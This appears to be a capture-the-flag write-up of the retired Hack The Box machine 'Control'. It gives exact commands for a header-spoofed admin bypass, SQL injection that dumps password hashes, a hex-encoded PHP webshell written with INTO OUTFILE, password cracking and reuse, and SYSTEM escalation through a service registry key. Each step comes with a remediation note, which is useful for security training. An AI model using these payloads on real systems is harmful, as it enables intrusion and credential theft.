Control
Summary
Recon against <retired-instance-ip> (HTB "Control", Windows/IIS 10.0, PHP 7.3.7) found a storefront site whose /admin.php page returned an access-denied page to direct requests. Viewing the response revealed the admin panel was IP-whitelisted; supplying the header X-Forwarded-For: <retired-instance-ip> on every request satisfied the whitelist and exposed the admin product-search page.
The admin search parameter (productName) was vulnerable to MySQL UNION-based SQL injection. A single quote broke the query, ORDER BY 7 errored while ORDER BY 6 did not (confirming 6 columns), and a UNION SELECT 1,2,3,4,5,6-- - reflected into the page. This was used to dump mysql.user credentials (GROUP_CONCAT(user,0x3a,password,0x0a)), yielding root:*[REDACTED: protected value] (repeated for all rows — an old-format MySQL SHA1 password hash). A follow-up query confirmed FILE_PRIV=Y for the app's DB user with secure_file_priv=NULL, meaning arbitrary file writes to disk were possible via INTO OUTFILE.
That FILE privilege was used to plant a PHP webshell directly in the IIS webroot (C:\inetpub\wwwroot\uploads\) via ... LIMIT 1 INTO OUTFILE '...' LINES TERMINATED BY 0x<hex-encoded-php>-- -. The resulting webshell (uploads/cmd2.php?c=<cmd>) gave RCE as nt authority\iusr.
The dumped hash was cracked offline (hashcat, mode 300 / raw-SHA1) to the plaintext [REDACTED: recovered credential], which was reused as the Windows password for the local account hector (member of Remote Management Users). This credential was used with PowerShell Remoting (Invoke-Command/PSRemoting to CONTROL\hector) to obtain an authenticated session and read user.txt ([REDACTED: flag]).
Privilege escalation to SYSTEM/root abused a misconfiguration discovered in hector's PowerShell command history: hector had previously been granted Full Control over the registry key HKLM:\SYSTEM\CurrentControlSet\Services. This allowed repointing the ImagePath of the manual-start, LocalSystem-run seclogon service to an user-chosen command; starting the service then executed that command as SYSTEM. Rather than catching a reverse shell (unreliable in-session), the ImagePath was set to a cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploads\r.txt command, exfiltrating root.txt ([REDACTED: flag]) to a web-readable path for retrieval over HTTP.
Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 80,135,443,1433,3306,5985 $TARGETcurl -s http://$TARGET/ | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'FixEnforce the admin IP whitelist at the network layer and remove internal addresses from public sourceHigh
Exact commands 1
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' http://$TARGET/admin.php | head -30FixEnforce the admin IP whitelist at the network layer and remove internal addresses from public sourceHigh
Exact commands 4
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName='" http://$TARGET/admin.phpcurl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' ORDER BY 6-- -" http://$TARGET/admin.phpcurl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user,0x3a,password,0x0a),6 FROM mysql.user-- -" http://$TARGET/admin.phpcurl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' UNION SELECT 1,2,3,4,CONCAT('cur=',CURRENT_USER(),0x0a,'fp=',GROUP_CONCAT(user,0x3a,file_priv),0x0a,'sfp=',IFNULL(@@secure_file_priv,'NULL')),6 FROM mysql.user-- -" http://$TARGET/admin.phpFixReplace dynamic SQL string concatenation with parameterized queriesCritical
Exact commands 2
curl -s -H 'X-Forwarded-For: $INTERNAL_TARGET' --data-urlencode "productName=test' LIMIT 1 INTO OUTFILE 'C:\\inetpub\\wwwroot\\uploads\\cmd2.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f524551554553545b2263225d293b3f3e-- -" http://$TARGET/admin.phpcurl -s 'http://$TARGET/uploads/cmd2.php?c=whoami'FixRevoke MySQL FILE privilege and restrict INTO OUTFILE to a safe directoryCritical
Exact commands 2
echo '*[REDACTED: protected value]' > hector.hashhashcat -m 300 hector.hash /usr/share/wordlists/rockyou.txtFixEnforce unique passwords across systems and prohibit reuse of database credentials as Windows passwordsHigh
Exact commands 2
evil-winrm -i $TARGET -u hector -p '[REDACTED: recovered credential]'$sec = ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force; $cred = New-Object System.Management.scripting.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami; Get-Content C:\Users\hector\Desktop\user.txt }FixEnforce unique passwords across systems and prohibit reuse of database credentials as Windows passwordsHigh
Exact commands 4
$sec = ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force; $cred = New-Object System.Management.scripting.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { gc (Get-PSReadlineOption).HistorySavePath }Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Get-Acl 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' | Format-List }Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' -Name ImagePath -Value 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploads\r.txt'; Start-Service seclogon }curl -s http://$TARGET/uploads/r.txtFixRestrict Windows service registry key ACLs to SYSTEM and Administrators onlyCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 3306/tcp | mysql MariaDB 10.3.24 or later (unauthorized) |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |